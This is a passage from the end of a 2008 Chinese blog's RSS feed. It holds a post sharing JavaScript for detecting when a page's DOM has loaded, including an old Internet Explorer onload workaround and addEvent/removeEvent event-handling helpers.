sp;&nbsp;&nbsp;DomLoaded.loaded();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},&nbsp;10);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*@cc_on&nbsp;@*/<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*@if&nbsp;(@_win32)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;proto&nbsp;=&nbsp;&quot;src=&#39;javascript:void(0)&#39;&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(location.protocol&nbsp;==&nbsp;&quot;https:&quot;)&nbsp;proto&nbsp;=&nbsp;&quot;src=//0&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.write(&quot;&lt;scr&quot;+&quot;ipt&nbsp;id=__ie_onload&nbsp;defer&nbsp;&quot;&nbsp;+&nbsp;proto&nbsp;+&nbsp;&quot;&gt;&lt;\/scr&quot;+&quot;ipt&gt;&quot;);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;script&nbsp;=&nbsp;document.getElementById(&quot;__ie_onload&quot;);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;script.onreadystatechange&nbsp;=&nbsp;function()&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(this.readyState&nbsp;==&nbsp;&quot;complete&quot;)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DomLoaded.loaded();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;};<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*@end&nbsp;@*/<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.onload&nbsp;=&nbsp;DomLoaded.loaded;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>};<br></div><br><br>最后：<br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_8970')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_8970);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_8970');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_8970" style="overflow-y:auto;overflow-x:hidden;height:150px;">/*@判断DOM是否载入*/<br>/*<br>*&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;something()&nbsp;{&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;do&nbsp;something&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;domReady(something);&nbsp;<br>*&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;domReady(function()&nbsp;{&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;do&nbsp;other&nbsp;stuff&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;});&nbsp;<br>*&nbsp;<br>*/&nbsp;<br>function&nbsp;domReady(f){<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(domReady.done)&nbsp;return&nbsp;f();&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(domReady.timer){&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;domReady.ready.push(&nbsp;f&nbsp;);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;}else{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;addEvent(&nbsp;window,&nbsp;&quot;load&quot;,&nbsp;isDOMReady&nbsp;);&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;domReady.ready&nbsp;=&nbsp;[&nbsp;f&nbsp;];&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;domReady.timer&nbsp;=&nbsp;setInterval(&nbsp;isDOMReady,&nbsp;13&nbsp;);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br>}&nbsp;&nbsp;<br>function&nbsp;isDOMReady(){&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(domReady.done)&nbsp;return&nbsp;false;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(document&nbsp;&amp;&amp;&nbsp;&nbsp;document.getElementsByTagName&nbsp;&amp;&amp;&nbsp;&nbsp;document.getElementById&nbsp;&amp;&amp;&nbsp;&nbsp;document.body){&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;clearInterval(domReady.timer);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;domReady.timer&nbsp;=&nbsp;null;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(var&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;domReady.ready.length;&nbsp;i++)&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;domReady.ready[i]();&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;domReady.ready&nbsp;=&nbsp;null;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;domReady.done&nbsp;=&nbsp;true;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br>}<br>function&nbsp;addEvent(element,&nbsp;type,&nbsp;handler)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!handler.$$guid)&nbsp;handler.$$guid&nbsp;=&nbsp;addEvent.guid++;<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!element.events)&nbsp;element.events&nbsp;=&nbsp;{};<br>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;handlers&nbsp;=&nbsp;element.events[type];<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!handlers)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;handlers&nbsp;=&nbsp;element.events[type]&nbsp;=&nbsp;{};<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(element[&quot;on&quot;&nbsp;+&nbsp;type])&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;handlers[0]&nbsp;=&nbsp;element[&quot;on&quot;&nbsp;+&nbsp;type];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;handlers[handler.$$guid]&nbsp;=&nbsp;handler;<br>&nbsp;&nbsp;&nbsp;&nbsp;element[&quot;on&quot;&nbsp;+&nbsp;type]&nbsp;=&nbsp;handleEvent;<br>};<br>addEvent.guid&nbsp;=&nbsp;1;<br>function&nbsp;removeEvent(element,&nbsp;type,&nbsp;handler)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(element.events&nbsp;&amp;&amp;&nbsp;element.events[type])&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;delete&nbsp;element.events[type][handler.$$guid];<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>};<br>function&nbsp;handleEvent(event)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;returnValue&nbsp;=&nbsp;true;<br>&nbsp;&nbsp;&nbsp;&nbsp;event&nbsp;=&nbsp;event&nbsp;||&nbsp;fixEvent(window.event);<br>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;handlers&nbsp;=&nbsp;this.events[event.type];<br>&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(var&nbsp;i&nbsp;in&nbsp;handlers)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.$$handleEvent&nbsp;=&nbsp;handlers[i];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(this.$$handleEvent(event)&nbsp;===&nbsp;false)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;returnValue&nbsp;=&nbsp;false;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;returnValue;<br>};<br>function&nbsp;fixEvent(event)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;event.preventDefault&nbsp;=&nbsp;fixEvent.preventDefault;<br>&nbsp;&nbsp;&nbsp;&nbsp;event.stopPropagation&nbsp;=&nbsp;fixEvent.stopPropagation;<br>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;event;<br>};<br>fixEvent.preventDefault&nbsp;=&nbsp;function(){this.returnValue&nbsp;=&nbsp;false;};<br>fixEvent.stopPropagation&nbsp;=&nbsp;function(){this.cancelBubble&nbsp;=&nbsp;true;};</div>]]></content:encoded><link>http://www.delover.net/blogview.asp?logID=99</link><dc:subject>Script</dc:subject><dc:creator>jackal</dc:creator><dc:date>2008-9-2 13:51:57</dc:date></item>
</rdf:Seq>
</items>
</channel>
</rdf:RDF>